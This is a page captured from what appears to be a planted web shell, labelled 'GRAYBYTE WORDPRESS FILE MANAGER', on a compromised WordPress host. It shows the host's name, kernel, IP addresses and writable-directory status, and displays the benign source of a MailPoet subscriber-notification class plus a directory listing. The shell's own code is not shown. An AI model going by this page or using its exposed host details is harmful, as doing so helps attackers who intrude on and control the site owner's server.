✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/mailpoet/lib/Config//SubscriberChangesNotifier.php
<?php declare(strict_types = 1);

namespace MailPoet\Config;

if (!defined('ABSPATH')) exit;


use MailPoet\Entities\SubscriberEntity;
use MailPoet\WP\Functions as WPFunctions;
use MailPoetVendor\Carbon\Carbon;

class SubscriberChangesNotifier {

  /** @var array<int, int> */
  private $createdSubscriberIds = [];

  /** @var array<int, int> */
  private $deletedSubscriberIds = [];

  /** @var array<int, int> */
  private $updatedSubscriberIds = [];

  /** @var array<int, int> */
  private $statusChangedSubscriberIds = [];

  /** @var array<int, int> */
  private $countChangedSubscriberIds = [];

  /** @var array<int, int> */
  private $createdSubscriberBatches = [];

  /** @var array<int, int> */
  private $updatedSubscriberBatches = [];

  /** @var WPFunctions */
  private $wp;

  public function __construct(
    WPFunctions $wp
  ) {
    $this->wp = $wp;
  }

  public function notify() {
    $this->notifyCreations();
    $this->notifyUpdates();
    $this->notifyDeletes();
    $this->notifyCountChanges();
  }

  private function notifyCreations(): void {
    if (count($this->createdSubscriberIds) > 1) {
      $minTimestamp = min($this->createdSubscriberIds);
      if ($minTimestamp) {
        $this->createdSubscriberBatches[] = $minTimestamp;
        $this->createdSubscriberIds = []; // reset created subscribers
      }
    }

    foreach ($this->createdSubscriberIds as $subscriberId => $updatedAt) {
      $this->wp->doAction(SubscriberEntity::HOOK_SUBSCRIBER_CREATED, $subscriberId);
    }

    if ($this->createdSubscriberBatches) {
      $minTimestamp = min($this->createdSubscriberBatches);
      if ($minTimestamp) {
        $this->wp->doAction(SubscriberEntity::HOOK_MULTIPLE_SUBSCRIBERS_CREATED, $minTimestamp);
      }
    }
  }

  private function notifyUpdates(): void {
    // unset updated subscribers if subscriber is created
    foreach ($this->createdSubscriberIds as $subscriberId => $timestamp) {
      unset($this->updatedSubscriberIds[$subscriberId]);
      unset($this->statusChangedSubscriberIds[$subscriberId]);
    }

    if (count($this->updatedSubscriberIds) > 1) {
      $minTimestamp = min($this->updatedSubscriberIds);
      if ($minTimestamp) {
        $this->updatedSubscriberBatches[] = $minTimestamp;
        $this->updatedSubscriberIds = []; // reset updated subscribers
        $this->statusChangedSubscriberIds = []; // reset status changed subscribers
      }
    }

    foreach ($this->updatedSubscriberIds as $subscriberId => $updatedAt) {
      $this->wp->doAction(SubscriberEntity::HOOK_SUBSCRIBER_UPDATED, $subscriberId);
    }

    foreach ($this->statusChangedSubscriberIds as $subscriberId => $updatedAt) {
      $this->wp->doAction(SubscriberEntity::HOOK_SUBSCRIBER_STATUS_CHANGED, $subscriberId);
    }

    if ($this->updatedSubscriberBatches) {
      $minTimestamp = min($this->updatedSubscriberBatches);
      if ($minTimestamp) {
        $this->wp->doAction(SubscriberEntity::HOOK_MULTIPLE_SUBSCRIBERS_UPDATED, $minTimestamp);
      }
    }
  }

  private function notifyDeletes(): void {
    if (count($this->deletedSubscriberIds) === 1) {
      foreach ($this->deletedSubscriberIds as $subscriberId => $updatedAt) {
        $this->wp->doAction(SubscriberEntity::HOOK_SUBSCRIBER_DELETED, $subscriberId);
      }
    } elseif ($this->deletedSubscriberIds) {
      $this->wp->doAction(SubscriberEntity::HOOK_MULTIPLE_SUBSCRIBERS_DELETED, array_keys($this->deletedSubscriberIds));
    }
  }

  private function notifyCountChanges(): void {
    if (empty($this->countChangedSubscriberIds)) {
      return;
    }

    $this->wp->doAction(SubscriberEntity::HOOK_SUBSCRIBERS_COUNT_CHANGED, array_keys($this->countChangedSubscriberIds));
  }

  public function subscriberCreated(int $subscriberId): void {
    // store id as a key and timestamp change as the value
    $timestamp = $this->getTimestamp();
    $this->createdSubscriberIds[$subscriberId] = $timestamp;
    $this->countChangedSubscriberIds[$subscriberId] = $timestamp;
  }

  public function subscriberUpdated(int $subscriberId): void {
    // store id as a key and timestamp change as the value
    $this->updatedSubscriberIds[$subscriberId] = $this->getTimestamp();
  }

  public function subscriberStatusChanged(int $subscriberId): void {
    // store id as a key and timestamp change as the value
    $timestamp = $this->getTimestamp();
    $this->statusChangedSubscriberIds[$subscriberId] = $timestamp;
    $this->countChangedSubscriberIds[$subscriberId] = $timestamp;
  }

  public function subscriberDeleted(int $subscriberId): void {
    // store id as a key and timestamp change as the value
    $timestamp = $this->getTimestamp();
    $this->deletedSubscriberIds[$subscriberId] = $timestamp;
    $this->countChangedSubscriberIds[$subscriberId] = $timestamp;
  }

  public function subscribersCreated(array $subscriberIds): void {
    foreach ($subscriberIds as $subscriberId) {
      $this->subscriberCreated((int)$subscriberId);
    }
  }

  public function subscribersUpdated(array $subscriberIds): void {
    foreach ($subscriberIds as $subscriberId) {
      $this->subscriberUpdated((int)$subscriberId);
    }
  }

  public function subscribersDeleted(array $subscriberIds): void {
    foreach ($subscriberIds as $subscriberId) {
      $this->subscriberDeleted((int)$subscriberId);
    }
  }

  public function subscriberCountChanged(int $subscriberId): void {
    $this->countChangedSubscriberIds[$subscriberId] = $this->getTimestamp();
  }

  public function subscribersCountChanged(array $subscriberIds): void {
    foreach ($subscriberIds as $subscriberId) {
      $this->subscriberCountChanged((int)$subscriberId);
    }
  }

  public function subscribersBatchCreate(): void {
    $this->createdSubscriberBatches[] = $this->getTimestamp();
  }

  public function subscribersBatchUpdate(): void {
    $this->updatedSubscriberBatches[] = $this->getTimestamp();
  }

  private function getTimestamp(): int {
    $dateTime = Carbon::createFromTimestamp($this->wp->currentTime('timestamp', true), 'UTC');
    return $dateTime->getTimestamp();
  }
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
PopulatorData
--
11 Jun 2026 10.18 AM
tdhomesa / tdhomesa
0755
AccessControl.php
3.888 KB
21 May 2024 4.21 PM
tdhomesa / tdhomesa
0644
Activator.php
6.424 KB
19 May 2026 4.31 PM
tdhomesa / tdhomesa
0644
AssetsLoader.php
1.711 KB
5 May 2026 4.12 PM
tdhomesa / tdhomesa
0644
Capabilities.php
3.893 KB
28 Apr 2026 3.31 PM
tdhomesa / tdhomesa
0644
Changelog.php
4.898 KB
5 May 2026 4.12 PM
tdhomesa / tdhomesa
0644
DeactivationPoll.php
1.43 KB
24 Jan 2023 7.37 PM
tdhomesa / tdhomesa
0644
DeferredAdminNotices.php
1.463 KB
12 May 2026 4.28 PM
tdhomesa / tdhomesa
0644
Env.php
4.188 KB
7 Jan 2026 11.52 AM
tdhomesa / tdhomesa
0644
Hooks.php
25.249 KB
12 May 2026 4.28 PM
tdhomesa / tdhomesa
0644
HooksWooCommerce.php
6.76 KB
11 Mar 2025 6.36 PM
tdhomesa / tdhomesa
0644
Initializer.php
19.13 KB
26 May 2026 6.03 PM
tdhomesa / tdhomesa
0644
Installer.php
3.597 KB
2 Sep 2025 5.56 PM
tdhomesa / tdhomesa
0644
Localizer.php
2.493 KB
4 Jan 2023 12.53 AM
tdhomesa / tdhomesa
0644
Menu.php
28.05 KB
9 Jun 2026 5.54 PM
tdhomesa / tdhomesa
0644
PersonalDataErasers.php
0.751 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
PersonalDataExporters.php
2.962 KB
5 May 2026 4.12 PM
tdhomesa / tdhomesa
0644
PluginActivatedHook.php
0.758 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
Populator.php
24.546 KB
2 Jun 2026 6.11 PM
tdhomesa / tdhomesa
0644
PrivacyPolicy.php
4.525 KB
25 Mar 2024 3.16 PM
tdhomesa / tdhomesa
0644
Renderer.php
4.345 KB
3 Sep 2024 6.01 PM
tdhomesa / tdhomesa
0644
RendererFactory.php
0.654 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
RequirementsChecker.php
4.193 KB
19 May 2026 4.31 PM
tdhomesa / tdhomesa
0644
Router.php
1.038 KB
5 May 2026 4.12 PM
tdhomesa / tdhomesa
0644
ServicesChecker.php
7.041 KB
30 May 2023 2.48 PM
tdhomesa / tdhomesa
0644
Shortcodes.php
10.603 KB
2 Jun 2026 6.11 PM
tdhomesa / tdhomesa
0644
SilentUpgraderSkin.php
0.557 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
SubscriberChangesNotifier.php
5.951 KB
12 May 2026 4.28 PM
tdhomesa / tdhomesa
0644
TranslationUpdater.php
8.183 KB
14 Apr 2026 4.12 PM
tdhomesa / tdhomesa
0644
TwigEnvironment.php
0.679 KB
11 Mar 2025 6.36 PM
tdhomesa / tdhomesa
0644
TwigFileSystemCache.php
0.833 KB
6 Dec 2022 4.54 PM
tdhomesa / tdhomesa
0644
Updater.php
4.136 KB
25 Nov 2025 6.49 PM
tdhomesa / tdhomesa
0644
index.php
0.006 KB
25 Apr 2023 6.18 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF